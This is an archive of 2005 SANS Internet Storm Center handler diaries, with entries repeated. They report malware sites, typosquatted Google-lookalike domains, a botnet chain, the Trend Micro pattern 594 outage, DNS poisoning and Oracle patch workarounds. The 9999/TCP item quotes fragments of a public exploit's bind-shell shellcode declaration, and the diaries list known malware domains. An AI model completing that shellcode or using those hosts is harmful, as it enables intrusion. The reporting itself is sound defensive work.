Handler on Duty: Jesse La Grew
Threat Level: green
Published: 2005-04-30
The day started with fellow handler Kevin Hong reporting a malware hosting site in China. We've mirrored the contents and have started analysis. Getting to the core of the mess turns out to be quite difficult, as most AV tools and debuggers simply claim that the files are corrupt and refuse to analyze them. If the files really were corrupt, this would be the end of it -- but a doubleclick still launches the evil stuff on XP and 2003. Ugh.
Remember the diary four days ago when we were reporting a number of malware sites that were conveniently hosted only a typo away from google.com? Yesterday, the DNS hoster (joker.com in Switzerland) has finally taken action and has suspended DNS services for all the malware zones (ghoogle, googkle, etc). Good news for a change.
The freeware site Download.com has started a commendable initiative to combat spyware and malware embedded in free software and shareware available through the site. How difficult it is to keep software repositories free of crud was proven today when a reader reported a trojan inside the Bittorrent client "ABC" that he had just retrieved from the download.com mirror. Closer analysis revealed that the package contained an Adware identified as "AdWare.WiAD.af" as well as a keylogger spyware called "Trojan.Win32.Zapchast". The file has been reported to the abuse department of download.com.
A reader reported receiving an email containing a link to a picture that, once downloaded, turned out to be an EXE. The file came from a host within the netpark.net domain and contained a variant of SDBot. The IRC channel used by the botnet initially instructed all bots to download a copy of W32.Kelvir.AJ. After about an hour, the instructions changed, and a copy of W32.Opanki.A (Symantec: W32.Allim.A) was retrieved. Both of these IM worms are retrieved from a box in the angelfire.com domain. W32.Opanki/Allim is a pretty recent (3 days old) AOL IM worm, which in turn again spreads a copy of SDBot by downloading it from a host in the anapereira.com domain. The hosters of the various components have been contacted, and one of the boxes is offline by now, but the botnet itself is virtually unreachable, hidden behind a bunch of obscure hosters and DNS providers in Germany and Italy.
---------------
Daniel Wesemann
EMail: echo "ebojfm/jtdAhnbjm/dpn" | perl -pe 's/(.)/chr(ord($1)-1)/ge'
Malware from China; Googkle is gone; IM Worm/Botnet going in circles
Chinese malware for Breakfast
The day started with fellow handler Kevin Hong reporting a malware hosting site in China. We've mirrored the contents and have started analysis. Getting to the core of the mess turns out to be quite difficult, as most AV tools and debuggers simply claim that the files are corrupt and refuse to analyze them. If the files really were corrupt, this would be the end of it -- but a doubleclick still launches the evil stuff on XP and 2003. Ugh.
Googkle is no more
Remember the diary four days ago when we were reporting a number of malware sites that were conveniently hosted only a typo away from google.com? Yesterday, the DNS hoster (joker.com in Switzerland) has finally taken action and has suspended DNS services for all the malware zones (ghoogle, googkle, etc). Good news for a change.
Freespyware.com
The freeware site Download.com has started a commendable initiative to combat spyware and malware embedded in free software and shareware available through the site. How difficult it is to keep software repositories free of crud was proven today when a reader reported a trojan inside the Bittorrent client "ABC" that he had just retrieved from the download.com mirror. Closer analysis revealed that the package contained an Adware identified as "AdWare.WiAD.af" as well as a keylogger spyware called "Trojan.Win32.Zapchast". The file has been reported to the abuse department of download.com.
New SDBot / Kelvir / Opanki combination making the rounds
A reader reported receiving an email containing a link to a picture that, once downloaded, turned out to be an EXE. The file came from a host within the netpark.net domain and contained a variant of SDBot. The IRC channel used by the botnet initially instructed all bots to download a copy of W32.Kelvir.AJ. After about an hour, the instructions changed, and a copy of W32.Opanki.A (Symantec: W32.Allim.A) was retrieved. Both of these IM worms are retrieved from a box in the angelfire.com domain. W32.Opanki/Allim is a pretty recent (3 days old) AOL IM worm, which in turn again spreads a copy of SDBot by downloading it from a host in the anapereira.com domain. The hosters of the various components have been contacted, and one of the boxes is offline by now, but the botnet itself is virtually unreachable, hidden behind a bunch of obscure hosters and DNS providers in Germany and Italy.
---------------
Daniel Wesemann
EMail: echo "ebojfm/jtdAhnbjm/dpn" | perl -pe 's/(.)/chr(ord($1)-1)/ge'
Published: 2005-04-29
Evil Lurks on Porn Sites. Justin sent us a link to a porn site that asks visitors to download and install an executable that contains all of the naughty photos. Boy, were we tempted to download and open that file! Being good incident handlers we remained calm and first ran the executable through one of our favorite scanners. We found it to be just what we expected, a bot variant of some sort. Watch your logs for downloads of "linda.exe" and if you see it then perhaps you got bot.
Workarounds vs Patches. Vinicius sent us a nice note reminding everybody that sometimes we can't immediately patch but that the vendor's workarounds are good security steps to take anyway. He suggests,
Hopster Signatures. Mike would like to know if anybody has developed any good Snort signatures for Hopster. If so, please send them to us via the contact form and we'll make them available for everybody.
SSH Scans Continue. Sebastian wrote to tell us that SSH scans continue unabated and that one of his customers lost a box to a brute force attack. Many virtual hosting companies are now disabling root logins via SSH, requiring customers to log in with an unprivileged account then su to root when needed. Good advice for anybody with an SSH service running. Find your SSH config file (/etc/sshd.config on many systems) and check to make sure this line appears:
ISC RSS Feed. Thanks to an anonymous reader, we found out that our RSS feed was kaput. It's back up now - http://iscxml.sans.org/rssfeed.xml
More phpBB Issues. Reg worked with a few of our handlers today to solve a recent phpBB issue with one of his servers. Something seems to be amiss with the "admin_forums.php" script and it resulted in a compromise with backdoor. We did some looking around and it seems that others have seen it too:
http://www.securityfocus.com/archive/1/396744
http://www.phpbb.com/phpBB/viewtopic.php?t=285815
If you have seen anything like this, please let us know.
Darwin Was Right. For those who don't hang out on Slashdot, there is a very amusing story going around about a young hacker who tried to raid an opponent's computer after being kicked out of a chat channel. Even Paul Harvey mentioned it today in his radio show. The rest of the story is at
http://www.totalillusions.net/forum/index.php?showtopic=328&st=0
Have a great weekend!
Marcus H. Sachs
Handler on Duty
Porn is Evil; Workarounds vs Patching; Hopster; SSH Scans; phpBB Issue; Darwin was Right
Evil Lurks on Porn Sites. Justin sent us a link to a porn site that asks visitors to download and install an executable that contains all of the naughty photos. Boy, were we tempted to download and open that file! Being good incident handlers we remained calm and first ran the executable through one of our favorite scanners. We found it to be just what we expected, a bot variant of some sort. Watch your logs for downloads of "linda.exe" and if you see it then perhaps you got bot.
Workarounds vs Patches. Vinicius sent us a nice note reminding everybody that sometimes we can't immediately patch but that the vendor's workarounds are good security steps to take anyway. He suggests,
I think that we, in general, are too used to say "patch now",
instead of truely studing the viability of workarounds. Many times
workarounds are not exactly "workarounds", they're most times good
practices that if had already been implemented would not let the
system to be exploited even if the vulnerability is present in the
software.
Patches prevents attacks only until next bug announce and don't
isolate the human factor of security (ok, patching is important,
but not always)
Hopster Signatures. Mike would like to know if anybody has developed any good Snort signatures for Hopster. If so, please send them to us via the contact form and we'll make them available for everybody.
SSH Scans Continue. Sebastian wrote to tell us that SSH scans continue unabated and that one of his customers lost a box to a brute force attack. Many virtual hosting companies are now disabling root logins via SSH, requiring customers to log in with an unprivileged account then su to root when needed. Good advice for anybody with an SSH service running. Find your SSH config file (/etc/sshd.config on many systems) and check to make sure this line appears:
PermitRootLogin no
ISC RSS Feed. Thanks to an anonymous reader, we found out that our RSS feed was kaput. It's back up now - http://iscxml.sans.org/rssfeed.xml
More phpBB Issues. Reg worked with a few of our handlers today to solve a recent phpBB issue with one of his servers. Something seems to be amiss with the "admin_forums.php" script and it resulted in a compromise with backdoor. We did some looking around and it seems that others have seen it too:
http://www.securityfocus.com/archive/1/396744
http://www.phpbb.com/phpBB/viewtopic.php?t=285815
If you have seen anything like this, please let us know.
Darwin Was Right. For those who don't hang out on Slashdot, there is a very amusing story going around about a young hacker who tried to raid an opponent's computer after being kicked out of a chat channel. Even Paul Harvey mentioned it today in his radio show. The rest of the story is at
http://www.totalillusions.net/forum/index.php?showtopic=328&st=0
Have a great weekend!
Marcus H. Sachs
Handler on Duty
0 Comments
Published: 2005-04-28
More information is available regarding incompatibilities and gotchas after applying this update:
http://www.sans.org/newsletters/newsbites/newsbites.php?vol=7&issue=17#307
Also
http://support.microsoft.com/default.aspx?scid=898060
From: http://www.isc.org/index.pl?/sw/bind/
BIND4/BIND8 Unsuitable for Forwarder Use
If a nameserver -- any nameserver, whether BIND or otherwise -- is
configured to use forwarders, then none of the the target forwarders
can be running BIND4 or BIND8. Upgrade all nameservers used as forwarders to BIND9 . There is a current, wide scale Kashpureff-style DNS cache corruption attack which depends on BIND4 and BIND8 as forwarders targets.
Very useful BIND security matrix illustrating what issues affect which versions of BIND:
http://www.isc.org/sw/bind/bind-security.php
Also be sure to check out the fine template from Team CYMRU:
http://www.cymru.com/Documents/secure-bind-template.html
Thanks to Paul Vixie and others for re-articulating the forwarding issue more succinctly
http://dshield.org/port_report.php?port=9999
A number of spike reports for this port in recent days. Anyone have a good capture?
We have also had numerous folks mail in pointers to the MySQL MaxDB Webtool exploit (from cybertronic) which also references port 9999 as well as some firewall deny logs for port 9999, but no traffic captures. The mystery continues......
Thanks to everyone for supporting distributed data collection and analysis effort.
Our friends in Europe who are seeing the port 9999 spike have pointed out they are seeing an immediate connection attempt to port 4444 afterwards which lends credibility to this spike being related to the MaxDB Webtool exploit.
Privilege separation is your friend:
http://taosecurity.blogspot.com/2004/02/tcpdump-with-privilege-separation-in.html
As detailed here: http://www.frsirt.com/english/advisories/2005/0340
My hero.
Spitzer Sues Intermix over Spyware
http://www.msnbc.msn.com/id/7666890/
Anyone have a good location bar spellchecker? If it doesn't check against a dictionary it could at least check against a database of sites previously visited.
If I typed google.com correctly 999 times correctly in the past its likely thats what I wanted this time I typed goofgle[dot]com
---------------
Robert Danford/Handler-on-duty
MS05-019 update troubleshooting; Practicing safe forwarding in BIND; 9999/TCP spike;TCPDump Buffer Overflows; MS05-020 POC Released;Spyware Lawsuit
MS05-019/Win2k3 SP1 Update Troubleshooting
More information is available regarding incompatibilities and gotchas after applying this update:
http://www.sans.org/newsletters/newsbites/newsbites.php?vol=7&issue=17#307
Also
http://support.microsoft.com/default.aspx?scid=898060
Safe Forwarding
From: http://www.isc.org/index.pl?/sw/bind/
BIND4/BIND8 Unsuitable for Forwarder Use
If a nameserver -- any nameserver, whether BIND or otherwise -- is
configured to use forwarders, then none of the the target forwarders
can be running BIND4 or BIND8. Upgrade all nameservers used as forwarders to BIND9 . There is a current, wide scale Kashpureff-style DNS cache corruption attack which depends on BIND4 and BIND8 as forwarders targets.
Very useful BIND security matrix illustrating what issues affect which versions of BIND:
http://www.isc.org/sw/bind/bind-security.php
Also be sure to check out the fine template from Team CYMRU:
http://www.cymru.com/Documents/secure-bind-template.html
UPDATE:
Thanks to Paul Vixie and others for re-articulating the forwarding issue more succinctly
If a poisonable dns server uses a nameserver as a forwarder
it should NOT be Bind4/8. Bind4/8 are not vulnerable to
poisoning of the cache via the Kashpureff-style DNS cache
corruption but will pass one poisoned record for a domain
before cleaning its own cache.
So just to be clear its not the case that you can poison the
later versions of Bind4/8 its that Bind 4/8 when acting as
forwarders don't ensure there is no additional records in the
first forwarding instance.
TCP Port 9999 spike?
http://dshield.org/port_report.php?port=9999
A number of spike reports for this port in recent days. Anyone have a good capture?
UPDATE:
It has been suggested that the spike may be related to the proof of concept exploit for MS05-020 referenced below. Does anyone have any data to back that up?
#define RATFILE "rsaci.rat"
unsigned char shellcode[] = { // spawn a Shell on port 9999
We have also had numerous folks mail in pointers to the MySQL MaxDB Webtool exploit (from cybertronic) which also references port 9999 as well as some firewall deny logs for port 9999, but no traffic captures. The mystery continues......
#define PORT 9999
Thanks to everyone for supporting distributed data collection and analysis effort.
UPDATE:
Our friends in Europe who are seeing the port 9999 spike have pointed out they are seeing an immediate connection attempt to port 4444 afterwards which lends credibility to this spike being related to the MaxDB Webtool exploit.
TCPDump Buffer Overflows
3.8/3.9 ISIS_PRINT
3.8 RT_ROUTING_INFO
3.8 LDP_PRINT
3.8/3.9 RSVP_PRINT (Ethereal also affected)
Privilege separation is your friend:
http://taosecurity.blogspot.com/2004/02/tcpdump-with-privilege-separation-in.html
MS05-020 POC Exploit Released by FrSIRT
As detailed here: http://www.frsirt.com/english/advisories/2005/0340
Spyware Lawsuit
My hero.
Spitzer Sues Intermix over Spyware
http://www.msnbc.msn.com/id/7666890/
Anyone have a good location bar spellchecker? If it doesn't check against a dictionary it could at least check against a database of sites previously visited.
If I typed google.com correctly 999 times correctly in the past its likely thats what I wanted this time I typed goofgle[dot]com
---------------
Robert Danford/Handler-on-duty
0 Comments
Published: 2005-04-27
After the huge spike in activity on this port on 31 March, things seemed to have calmed down for a while, but we've seen a couple of smaller spikes the last few days (see
http://isc.sans.org/port_details.php?port=1025
). We're still not sure what is causing all of this, so we again ask for assistance if anyone has captured any of this traffic, we'd appreciate any samples you can share.
We continue to get reports of sporadic DNS cache poisonings. We've covered this in great detail earlier this month, so we won't spend a lot of time on it except to remind folks that the (maintainer of BIND) agrees that BIND 4 and 8 are no longer suitable for use as forwarders, so, if you are running DNS servers that act as forwarders, please upgrade as soon as possible.
Following up on Josh's obligatory wireless notes, we came across the following presentation that does a pretty good job of hitting the high points, for those who may have to explain the issues to upper management. http://www.bespacific.com/mt/archives/008060.html
-------------------
Jim Clausing and Scott Fendley for Deb Hale
TCP port 1025 activity; continued DNS poisonings; 802.11 security primer
TCP port 1025 activity
After the huge spike in activity on this port on 31 March, things seemed to have calmed down for a while, but we've seen a couple of smaller spikes the last few days (see
http://isc.sans.org/port_details.php?port=1025
). We're still not sure what is causing all of this, so we again ask for assistance if anyone has captured any of this traffic, we'd appreciate any samples you can share.
Continued DNS poisonings
We continue to get reports of sporadic DNS cache poisonings. We've covered this in great detail earlier this month, so we won't spend a lot of time on it except to remind folks that the (maintainer of BIND) agrees that BIND 4 and 8 are no longer suitable for use as forwarders, so, if you are running DNS servers that act as forwarders, please upgrade as soon as possible.
802.11 security primer
Following up on Josh's obligatory wireless notes, we came across the following presentation that does a pretty good job of hitting the high points, for those who may have to explain the issues to upper management. http://www.bespacific.com/mt/archives/008060.html
-------------------
Jim Clausing and Scott Fendley for Deb Hale
0 Comments
Published: 2005-04-26
Following up on regarding the Oracle April Critical Patch Update, this most recent patch cluster resolves several critical issues in 9i and 10g database releases. Two sections of this patch bundle seem to be the most pressing:
Oracle HTTP Server/Apache
The Oracle HTTP Server is a release of Apache 1.3.22. The April CPU updates the Apache distribution to resolve several Apache bugs, the oldest of which was reported in Jun 22, 2002. If you are using the Oracle HTTP Server product, it is recommended that you apply this patch bundle to resolve several outstanding vulnerabilities. If you are NOT using the Oracle HTTP Server on your database, it is recommended that you remove the software using the Oracle Universal Installer (OUI) tool.
Oracle Built-In Package SQL Injection
Several Oracle packages have been fixed with the April CPU to resolve SQL injection vulnerabilities that can allow an authenticated attacker to cause a denial-of-service attack, or to run arbitrary code as the SYS user with SQL injection techniques. As exploit code is publicly available for these vulnerabilities, it is important that DBA's take action to protect against authorized users escalating their privileges on the database.
The three most important packages that are of concern are DBMS_CDC_PUBLISH, DBMS_CDC_SUBSCRIBE and DBMS_METADATA. As a workaround, DBA's are encouraged to revoke PUBLIC privileges on these functions:
Reader Alan Phelps wrote in this morning to alert us to a malicious site that has registered a domain that might be entered as a typo for google.com. DO NOT VISIT THIS SITE! Visiting this site installs about 49 pieces of spyware, uses the local hosts file to block access to popular anti-virus websites, and offers a link to a website that sells AV and anti-spyware tools with the slogan "We help people"... No comment.
Administrators might want to do a quick check on their DNS cache records to see if any users have resolved anything matching "googkle" lately, and then have field support visit the (likely) infested workstations.
Update 2005-04-27 @ 10:21 UTC
Several readers have written in to add that there are several other sites similar to the Googkle site including:
msnm(dot)com, gfoogle(dot)com, ghoogle(dot)com, googfle(dot)com, luycos(dot)com,
msn1(dot)com, passpport(dot)com and xcnn(dot)com.
Did I mention that you should NOT visit these sites?
More information on googkle is available at
Thanks to Juha-Matti Laurio, Barrie Dempster, Gene Chen, Arjan Haringa and anonymous posters who submitted their reports regarding this and other sites.
Since I can't complete a diary entry without mentioning wireless security in one way or another, here is something that I've been spending some time looking into lately:
The 802.11e committee has been working on a standard for QoS for quite some time now. They have run into multiple obstacles along the way, not the least of which was a security standard (802.11i) that made it impossible to re-queue packets of low importance for later transmission after they have been encrypted.
The has recently started certifying vendors for Wireless Multimedia (WMM) interoperability. The WMM specification is planned to be finalized as the 802.11e standard, but early-adopters can get the assurance of multi-vendor interoperability by purchasing products that are WMM certified. This is similar to the Wi-Fi Alliance certifying products for WPA interoperability before the 802.11i standard was ratified.
The WMM specification allows organizations to prioritize traffic into one of four queues:
+ WMM Voice: Highest priority, intended for VoIP
+ WMM Video: Priority over data and legacy hardware
+ WMM Best Effort: Default queue for legacy hardware or unclassified data traffic
+ WMM Background: Intended for low-priority traffic such as file downloads.
Cisco Aironet users can take advantage of WMM functionality in IOS 12.3(2)JA and later. Client adapters will likely need a firmware upgrade to prioritize WMM traffic.
I believe little security-analysis has been done on the impact of WMM and the 802.11i specification, it will be interesting to see how WMM and QoS prioritization queueing affects some of the security requirements of 802.11i.
More information on WMM is available at with Wi-Fi Alliance website at .
Joshua Wright/Handler-on-duty
Oracle CPU note; Google != Googkle; Obligatory Wireles Factoid
Oracle April Critical Patch Update
Following up on regarding the Oracle April Critical Patch Update, this most recent patch cluster resolves several critical issues in 9i and 10g database releases. Two sections of this patch bundle seem to be the most pressing:
Oracle HTTP Server/Apache
The Oracle HTTP Server is a release of Apache 1.3.22. The April CPU updates the Apache distribution to resolve several Apache bugs, the oldest of which was reported in Jun 22, 2002. If you are using the Oracle HTTP Server product, it is recommended that you apply this patch bundle to resolve several outstanding vulnerabilities. If you are NOT using the Oracle HTTP Server on your database, it is recommended that you remove the software using the Oracle Universal Installer (OUI) tool.
Oracle Built-In Package SQL Injection
Several Oracle packages have been fixed with the April CPU to resolve SQL injection vulnerabilities that can allow an authenticated attacker to cause a denial-of-service attack, or to run arbitrary code as the SYS user with SQL injection techniques. As exploit code is publicly available for these vulnerabilities, it is important that DBA's take action to protect against authorized users escalating their privileges on the database.
The three most important packages that are of concern are DBMS_CDC_PUBLISH, DBMS_CDC_SUBSCRIBE and DBMS_METADATA. As a workaround, DBA's are encouraged to revoke PUBLIC privileges on these functions:
revoke EXECUTE on DBMS_METADATA from PUBLIC;
revoke EXECUTE on DBMS_CDC_PUBLISH from PUBLIC;
revoke EXECUTE on DBMS_CDC_SUBSCRIBE from PUBLIC;
Google != Googkle
Reader Alan Phelps wrote in this morning to alert us to a malicious site that has registered a domain that might be entered as a typo for google.com. DO NOT VISIT THIS SITE! Visiting this site installs about 49 pieces of spyware, uses the local hosts file to block access to popular anti-virus websites, and offers a link to a website that sells AV and anti-spyware tools with the slogan "We help people"... No comment.
Administrators might want to do a quick check on their DNS cache records to see if any users have resolved anything matching "googkle" lately, and then have field support visit the (likely) infested workstations.
Update 2005-04-27 @ 10:21 UTC
Several readers have written in to add that there are several other sites similar to the Googkle site including:
msnm(dot)com, gfoogle(dot)com, ghoogle(dot)com, googfle(dot)com, luycos(dot)com,
msn1(dot)com, passpport(dot)com and xcnn(dot)com.
Did I mention that you should NOT visit these sites?
More information on googkle is available at
Thanks to Juha-Matti Laurio, Barrie Dempster, Gene Chen, Arjan Haringa and anonymous posters who submitted their reports regarding this and other sites.
Obligatory Wireless Factoid
Since I can't complete a diary entry without mentioning wireless security in one way or another, here is something that I've been spending some time looking into lately:
The 802.11e committee has been working on a standard for QoS for quite some time now. They have run into multiple obstacles along the way, not the least of which was a security standard (802.11i) that made it impossible to re-queue packets of low importance for later transmission after they have been encrypted.
The has recently started certifying vendors for Wireless Multimedia (WMM) interoperability. The WMM specification is planned to be finalized as the 802.11e standard, but early-adopters can get the assurance of multi-vendor interoperability by purchasing products that are WMM certified. This is similar to the Wi-Fi Alliance certifying products for WPA interoperability before the 802.11i standard was ratified.
The WMM specification allows organizations to prioritize traffic into one of four queues:
+ WMM Voice: Highest priority, intended for VoIP
+ WMM Video: Priority over data and legacy hardware
+ WMM Best Effort: Default queue for legacy hardware or unclassified data traffic
+ WMM Background: Intended for low-priority traffic such as file downloads.
Cisco Aironet users can take advantage of WMM functionality in IOS 12.3(2)JA and later. Client adapters will likely need a firmware upgrade to prioritize WMM traffic.
I believe little security-analysis has been done on the impact of WMM and the 802.11i specification, it will be interesting to see how WMM and QoS prioritization queueing affects some of the security requirements of 802.11i.
More information on WMM is available at with Wi-Fi Alliance website at .
Joshua Wright/Handler-on-duty
0 Comments
Published: 2005-04-25
If you came in to the office this morning, are running a Windows OS on your computer, your computer CPU is maxing out close to 100% utilization and you have a TrendMicro antivirus product installed, please go to the link referenced below.
As reported in the diary on
and on
, TrendMicro had a problem with their Patterm 594 update released Friday afternoon around 15:30 PDT. They have now posted an explanation of the cause and solution on their site .
Juha-Matti posted this morning and provided two links
and
about the impact the TrendMicro pattern update had this weekend on East Japan Railways.
Here's what some of you had to say about this issue:
Anonymous -- "So that's what happened to cause me to spend 5 hours rebuilding my home computer on Saturday!!! Just thought it had to do with a new motherboard install--- but NOOOOO!!!"
Bob - "This was a tough one to diagnose, over the past 10 years, I've just gotten used to auto deploying new signatures without thought. Of course, you don't suspect signatures to be the issue, took hours to identify, THANK YOU SANS!!!!! Packet capture after capture, systems shutdowns, switch, firewall, driver resets later, we finally reactivated our outside connectivity and of course, ISC.SANS.ORG being my HOMEPAGE, we were blessed with your ID of 594 issues. Sure as shineola,
dropping 594 AND then rebooting, voila."
Drew -- "Thank you so much for posting about that definition file! we were fighting @ the hospital for over 6 hours before we found this document, and after we realized what had happened, the network was back up in less than an hour!!"
Paul -- "I just need to vent about the trend problem. First I'd like to say thank you to SANS for posting the information. I wasted three hours of my life trying to bring my system back for a complete lockup! Once the new sigs were loaded blam my system is back to normal. What is the average user going to do? They don't know how to boot their systems up in diagnostic mode? How is their TM client going to get out to the internet to pull the new sigs if the system is pegged at 100%, I mean pegged, not even a chance. How is the average Trend customer going to find out about the problem, go on the internet and read about it? I DON'T THINK SO. They need to sent an alert out.
Microsoft will be ending Mainstream Support for the Windows 2000 product family on June 30, 2005. Extended Support will continue for a further 5 years until June 30, 2010. One of the main differences after this date is that non-security related hotfixes will require an seperate per-incident support contract (and will probably not be available as quickly).
For more information about the Windows 2000 status change, go
Brian Krebs has a nice
blog entry on what might happen if your computer visits "some of the seamier online neighborhoods" on the Internet.
Update on TrendMicro Pattern 594 Issue; W2K Mainstream Support Ending June 30, 2005; My Computer Has a Rash
Update on TrendMicro Pattern 594 Issue
If you came in to the office this morning, are running a Windows OS on your computer, your computer CPU is maxing out close to 100% utilization and you have a TrendMicro antivirus product installed, please go to the link referenced below.
As reported in the diary on
and on
, TrendMicro had a problem with their Patterm 594 update released Friday afternoon around 15:30 PDT. They have now posted an explanation of the cause and solution on their site .
Juha-Matti posted this morning and provided two links
and
about the impact the TrendMicro pattern update had this weekend on East Japan Railways.
Feedback from ISC Posters
Here's what some of you had to say about this issue:
Anonymous -- "So that's what happened to cause me to spend 5 hours rebuilding my home computer on Saturday!!! Just thought it had to do with a new motherboard install--- but NOOOOO!!!"
Bob - "This was a tough one to diagnose, over the past 10 years, I've just gotten used to auto deploying new signatures without thought. Of course, you don't suspect signatures to be the issue, took hours to identify, THANK YOU SANS!!!!! Packet capture after capture, systems shutdowns, switch, firewall, driver resets later, we finally reactivated our outside connectivity and of course, ISC.SANS.ORG being my HOMEPAGE, we were blessed with your ID of 594 issues. Sure as shineola,
dropping 594 AND then rebooting, voila."
Drew -- "Thank you so much for posting about that definition file! we were fighting @ the hospital for over 6 hours before we found this document, and after we realized what had happened, the network was back up in less than an hour!!"
Paul -- "I just need to vent about the trend problem. First I'd like to say thank you to SANS for posting the information. I wasted three hours of my life trying to bring my system back for a complete lockup! Once the new sigs were loaded blam my system is back to normal. What is the average user going to do? They don't know how to boot their systems up in diagnostic mode? How is their TM client going to get out to the internet to pull the new sigs if the system is pegged at 100%, I mean pegged, not even a chance. How is the average Trend customer going to find out about the problem, go on the internet and read about it? I DON'T THINK SO. They need to sent an alert out.
W2K Mainstream Support Ending June 30, 2005
Microsoft will be ending Mainstream Support for the Windows 2000 product family on June 30, 2005. Extended Support will continue for a further 5 years until June 30, 2010. One of the main differences after this date is that non-security related hotfixes will require an seperate per-incident support contract (and will probably not be available as quickly).
For more information about the Windows 2000 status change, go
My Computer Has a Rash
Brian Krebs has a nice
blog entry on what might happen if your computer visits "some of the seamier online neighborhoods" on the Internet.
0 Comments
Published: 2005-04-24
Apparently heeding the dubious advice of infosec hysteria celebrity , Microsoft has taken another step forward in the neutering of the TCP/IP stack in Windows XP. The removal of raw sockets was one of the "features" included in Service Pack 2. Intrepid hackers soon found a way around this feature. The MS05-019 critical security patch closes this loophole. Fyodor, of
fame, has a
on the situation. Be warned - Fyodor is rabidly anti-Microsoft, so the previous link may be hilarious or infuriating, depending on your bias.
We're continuing to receive reports from readers who have been impacted by the , including reports of machines being rebuilt to restore functionality. An ISC reader who prefers to remain anonymous suggest the following solution*:
"If customers are using Trend OfficeScan and have Outbreak Prevention Services, they can active Outbreak mode on the server. This will lock down the firewall on the client machines and allow them to only communicate with the OfficeScan server. The reduction in network traffic being processed by the client should allow enough CPU usage to download (albeit, slowly) the update from the server. This could take several hours depending on the number of clients...it took us about 2 1/2. But, if it works it keeps you from having to touch all 100's, 1000's, or 10's of thousands of clients. Trend has a lot of 30,000+ client customers that were slammed by this and are probably still trying to recover from it. This might help them."
Trend have also posted updated information at
Hopefully this will help any readers out there who haven't already resorted to scorched-earth tactics in dealing with this unfortunate issue. If only they were running Macs, they wouldn't have to run antivirus.
Oh, wait a minute...
As a Mac aficionado (3 Powerbooks between home & work), I'm happy to report that we've finally warranted some attention from the Malware community. It's about damn time. Intrepid ISC reader Juha-Matti alerted us to Sophos' (brief) If any readers have spotted this thing in the wild, please let us know.
We had more than one reader write in to let us know that both and Symantec's were apparently MIA for several hours today. While things are back to normal, I'd be remiss if I didn't point our readers at Chris Mosby's . It's good to see that we're not the only ones who get flamed for site redesigns. ;)
That's all I've got for this diary, fair readers. Some of you may have noticed my semi-absence from handling recently. "Real Work" has been eating up the majority of my time of late, so I'll probably relegate the bulk of my diary writing to rambling lazy Sunday afternoon prose. Feel free to write in subjects you'd like to see researched/covered at length, since Sundays are usually devoid of pressing issues.
Until next time, I leave you with this quote from Deltron 3030:
"Upgrade your gray matter, 'cause some day it may matter."
-----------------------
Cory Altheide
caltheide@isc.sans.org
-----------------------
*As a Linux user, I have been conditioned to recognize a workaround as a type of solution.
Raw Sockets; Trend 594 Update; Mac Trojan & More
Microsoft vs. Raw Sockets, Round 2
Apparently heeding the dubious advice of infosec hysteria celebrity , Microsoft has taken another step forward in the neutering of the TCP/IP stack in Windows XP. The removal of raw sockets was one of the "features" included in Service Pack 2. Intrepid hackers soon found a way around this feature. The MS05-019 critical security patch closes this loophole. Fyodor, of
fame, has a
on the situation. Be warned - Fyodor is rabidly anti-Microsoft, so the previous link may be hilarious or infuriating, depending on your bias.
Trend Pattern 594 Update
We're continuing to receive reports from readers who have been impacted by the , including reports of machines being rebuilt to restore functionality. An ISC reader who prefers to remain anonymous suggest the following solution*:
"If customers are using Trend OfficeScan and have Outbreak Prevention Services, they can active Outbreak mode on the server. This will lock down the firewall on the client machines and allow them to only communicate with the OfficeScan server. The reduction in network traffic being processed by the client should allow enough CPU usage to download (albeit, slowly) the update from the server. This could take several hours depending on the number of clients...it took us about 2 1/2. But, if it works it keeps you from having to touch all 100's, 1000's, or 10's of thousands of clients. Trend has a lot of 30,000+ client customers that were slammed by this and are probably still trying to recover from it. This might help them."
Trend have also posted updated information at
Hopefully this will help any readers out there who haven't already resorted to scorched-earth tactics in dealing with this unfortunate issue. If only they were running Macs, they wouldn't have to run antivirus.
Oh, wait a minute...
Macintosh Trojan "Discovered"
As a Mac aficionado (3 Powerbooks between home & work), I'm happy to report that we've finally warranted some attention from the Malware community. It's about damn time. Intrepid ISC reader Juha-Matti alerted us to Sophos' (brief) If any readers have spotted this thing in the wild, please let us know.
Symantec Website Restructuring
We had more than one reader write in to let us know that both and Symantec's were apparently MIA for several hours today. While things are back to normal, I'd be remiss if I didn't point our readers at Chris Mosby's . It's good to see that we're not the only ones who get flamed for site redesigns. ;)
That's all I've got for this diary, fair readers. Some of you may have noticed my semi-absence from handling recently. "Real Work" has been eating up the majority of my time of late, so I'll probably relegate the bulk of my diary writing to rambling lazy Sunday afternoon prose. Feel free to write in subjects you'd like to see researched/covered at length, since Sundays are usually devoid of pressing issues.
Until next time, I leave you with this quote from Deltron 3030:
"Upgrade your gray matter, 'cause some day it may matter."
-----------------------
Cory Altheide
caltheide@isc.sans.org
-----------------------
*As a Linux user, I have been conditioned to recognize a workaround as a type of solution.
0 Comments
Published: 2005-04-23
Problem with Trend Micro Virus Sig 594; Trojan Vundo; Update on Problem with MS05-019; Phishing Site?; DNS Poisoning
We have an early diary today but don't forget to take a look at yesterday diary on DNS problems at Network Solutions; Potential Problems with MS05-019; Filtering SSL.
http://isc.sans.org/diary.php?date=2005-04-22
We have received a few reports from our readers (in particular, thanks to Brad, Anthony and those who prefer to be anonymous) that there are some issues in Trend Micro Virus Sig 594.
All Win 2003 Servers & XP machines with virus sig 594 will cause the systems to experience high 100% CPU utilization.
Apparently, this is due to incompatibility between the scanning engine, the sig file and the platforms.
Trend Micro has provided a new sig 596 to solve this issue.
If you are using Trend Micro antivirus products and your system suddenly lockup, you may want to check this out.
I guess it is a very bad day for those who are using Trend Micro products. Several readers wrote in to say that they were clueless about the "sudden dead" of their systems. It took them several hours and pain to diagnose the problem until they hit our website to spot on the cause. We must thank all our readers who have informed us early so that we can share with the rest of the community as well.
One reader has shared with us that if customers are using Trend OfficeScan and have Outbreak Prevention Services, they can activate Outbreak mode on the server. This will lock down the firewall on the client machines and allow them to only communicate with the OfficeScan server. The reduction in network traffic being processed by the client should allow enough CPU usage to download (albeit, slowly) the update from the server. This could take several hours depending on the number of clients. But if it works, it keeps you from having to touch all 100's, 1000's, or 10's of thousands of clients.
For more information to resolve this issue, please refer to:
http://kb.trendmicro.com/solutions/search/main/search/solutionDetail.asp?solutionId=24263
http://kb.trendmicro.com/solutions/search/main/search/solutionDetail.asp?solutionId=24264
We are seeing apparently a new variant of Trojan Vundo. Symantec has yet to detect it but there is a writeup on it.
http://securityresponse.symantec.com/avcenter/venc/data/trojan.vundo.html
The file matches the description except that the systems were patched for MS04-040.
Below is the result of from VirusTotal scan:
Let us know if you have experienced the same Trojan.
